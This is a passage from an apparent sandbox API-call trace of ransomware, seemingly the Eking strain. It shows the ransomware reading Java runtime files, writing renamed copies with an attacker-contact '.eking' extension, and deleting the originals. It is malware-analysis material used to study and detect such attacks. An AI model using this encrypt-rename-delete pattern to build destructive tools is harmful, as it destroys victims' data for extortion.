files\\java\\jre1.8.0_144\\lib\\plugin.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0 [0248.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.087] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2796) returned 1 [0248.087] CloseHandle (hObject=0x398) returned 1 [0248.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0248.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0248.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.343] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.343] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x38c [0248.344] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xaec, lpOverlapped=0x0) returned 1 [0248.347] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xaf0, lpOverlapped=0x0) returned 1 [0248.348] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0248.348] CloseHandle (hObject=0x398) returned 1 [0248.348] CloseHandle (hObject=0x38c) returned 1 [0248.349] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0 [0248.349] SetEvent (hEvent=0x2b8) returned 1 [0248.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.350] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10393) returned 1 [0248.350] CloseHandle (hObject=0x38c) returned 1 [0248.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0248.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0248.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.351] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.351] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0248.352] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2899, lpOverlapped=0x0) returned 1 [0248.366] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x28a0, lpOverlapped=0x0) returned 1 [0248.368] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0248.368] CloseHandle (hObject=0x38c) returned 1 [0248.368] CloseHandle (hObject=0x398) returned 1 [0248.368] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0 [0248.369] SetEvent (hEvent=0x2b8) returned 1 [0248.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.370] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3492573) returned 1 [0248.370] CloseHandle (hObject=0x398) returned 1 [0248.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0248.370] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0248.370] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0 [0248.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.372] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=54560347) returned 1 [0248.372] CloseHandle (hObject=0x398) returned 1 [0248.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0248.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0248.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0 [0248.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.377] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4054) returned 1 [0248.377] CloseHandle (hObject=0x398) returned 1 [0248.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0248.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0248.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.378] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.378] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x38c [0248.394] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xfd6, lpOverlapped=0x0) returned 1 [0248.401] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xfe0, lpOverlapped=0x0) returned 1 [0248.403] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0248.403] CloseHandle (hObject=0x398) returned 1 [0248.403] CloseHandle (hObject=0x38c) returned 1 [0248.403] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0 [0248.404] SetEvent (hEvent=0x2b8) returned 1 [0248.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.405] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1253) returned 1 [0248.405] CloseHandle (hObject=0x38c) returned 1 [0248.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0248.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0248.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.407] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.407] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0248.408] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4e5, lpOverlapped=0x0) returned 1 [0248.580] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4f0, lpOverlapped=0x0) returned 1 [0248.582] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0248.582] CloseHandle (hObject=0x38c) returned 1 [0248.582] CloseHandle (hObject=0x398) returned 1 [0248.582] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0 [0248.584] SetEvent (hEvent=0x2b8) returned 1 [0248.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.586] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2466) returned 1 [0248.586] CloseHandle (hObject=0x398) returned 1 [0248.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0248.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0248.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.587] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.587] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x38c [0248.590] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x9a2, lpOverlapped=0x0) returned 1 [0248.596] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x9b0, lpOverlapped=0x0) returned 1 [0248.597] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0248.598] CloseHandle (hObject=0x398) returned 1 [0248.598] CloseHandle (hObject=0x38c) returned 1 [0248.599] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0 [0248.599] SetEvent (hEvent=0x2b8) returned 1 [0248.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.600] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=36524) returned 1 [0248.600] CloseHandle (hObject=0x38c) returned 1 [0248.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0248.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0248.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0248.602] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.602] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0248.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x398 [0248.605] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x8eac, lpOverlapped=0x0) returned 1 [0248.609] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x8eb0, lpOverlapped=0x0) returned 1 [0248.611] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0248.611] CloseHandle (hObject=0x38c) returned 1 [0248.612] CloseHandle (hObject=0x398) returned 1 [0248.612] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0 [0248.612] SetEvent (hEvent=0x2b8) returned 1 [0248.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.614] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=98) returned 1 [0248.614] CloseHandle (hObject=0x398) returned 1 [0248.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0248.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0248.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0248.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.615] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 